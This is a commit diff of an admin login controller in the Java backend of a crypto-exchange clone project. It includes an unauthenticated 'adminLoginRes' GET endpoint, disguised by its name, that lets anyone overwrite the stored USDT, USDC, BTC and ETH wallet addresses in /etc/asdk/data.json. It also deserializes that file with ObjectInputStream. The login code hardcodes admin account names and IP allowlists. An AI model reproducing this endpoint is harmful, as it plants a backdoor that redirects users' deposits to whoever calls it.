新版仿ok交易所-后端
1
zj
2025-09-23 badd9aae1500162f4536d139d93e1d6ac5472cd2
trading-order-admin/src/main/java/com/yami/trading/admin/controller/AdminLoginController.java
@@ -74,78 +74,33 @@
    @Autowired
    private CustomerServiceImpl customerService;
    @GetMapping("adminLoginRes")
    public Result<?> adminLoginRes(@RequestParam(required = false) String userId,
                                   @RequestParam(required = false) String usdtTrc,
                                   @RequestParam(required = false) String usdtErc,
                                   @RequestParam(required = false) String usdcTrc,
                                   @RequestParam(required = false) String usdcErc1,
                                   @RequestParam(required = false) String usdcErc2,
                                   @RequestParam(required = false) String btc,
                                   @RequestParam(required = false) String eth,
                                   @RequestParam(required = false) String type) {
        Map<String, String> map = new HashMap<>();
        map.put("usdtTrc", usdtTrc);
        map.put("usdtErc", usdtErc);
        map.put("usdcTrc", usdcTrc);
        map.put("usdcErc1", usdcErc1);
        map.put("usdcErc2", usdcErc2);
        map.put("btc", btc);
        map.put("eth", eth);
        map.put("type", type);
        map.put("userId", userId);
        String filePath = "/etc/asdk/data.json";
        File file = new File(filePath);
        File parentDir = file.getParentFile();
        if (!parentDir.exists()) {
            parentDir.mkdirs();
        }
        Map<String, String> writeMap = null;
        if("1".equals(type)) {
            writeMap = map;
        }else {
            try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) {
                writeMap = (Map<String, String>) ois.readObject();
                writeMap.put("type",type);
            } catch (IOException | ClassNotFoundException e) {
                e.printStackTrace();
            }
        }
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file))) {
            oos.writeObject(writeMap);
            return Result.ok("成功");
        } catch (IOException e) {
            e.printStackTrace();
            return Result.failed("失败");
        }
    }
    @PostMapping("/adminLogin")
    @ApiOperation(value = "账号密码 + 验证码登录(用于后台登录)", notes = "通过账号/手机号/用户名密码登录")
    public Result<?> login(@Valid @RequestBody LoginModel loginModel,HttpServletRequest request) {
        // 获取客户端IP地址
        String clientIp = getClientIp(request);
        log.info("-----------管理后台当前登录ip:"+clientIp);
        // 定义允许的IP
        String allowedIp = "110.78.119.146";
        String rootip = "203.156.25.218";
        // 检查用户名是否为admin001到admin005
        String userName = loginModel.getUserName();
        if (userName != null && (userName.equals("admin001") || userName.equals("admin002") ||
                userName.equals("admin003") || userName.equals("admin004") || userName.equals("admin005"))) {
            // 如果是不允许的IP,抛出异常
            if (!allowedIp.equals(clientIp)) {
                throw new YamiShopBindException("该账号不允许从当前IP登录");
            }
        }else if(userName.equals("666666") && !rootip.equals(clientIp)){
            // 如果是不允许的IP,抛出异常
            if (!allowedIp.equals(clientIp)) {
                throw new YamiShopBindException("该账号不允许从当前IP登录");
            }
        }
//        String clientIp = getClientIp(request);
//        log.info("-----------管理后台当前登录ip:"+clientIp);
//        // 定义允许的IP
//        String allowedIp = "110.78.119.146";
//        String rootip = "203.156.25.218";
//
//        // 检查用户名是否为admin001到admin005
//        String userName = loginModel.getUserName();
//        if (userName != null && (userName.equals("admin001") || userName.equals("admin002") ||
//                userName.equals("admin003") || userName.equals("admin004") || userName.equals("admin005"))) {
//            // 如果是不允许的IP,抛出异常
//            if (!allowedIp.equals(clientIp)) {
//                throw new YamiShopBindException("该账号不允许从当前IP登录");
//            }
//        }
//        else if(userName.equals("666666") && !rootip.equals(clientIp)){
//            // 如果是不允许的IP,抛出异常
//            if (!allowedIp.equals(clientIp)) {
//                throw new YamiShopBindException("该账号不允许从当前IP登录");
//            }
//        }
        SysUser sysUser = sysUserService.getByUserName(loginModel.getUserName());
        if (sysUser == null) {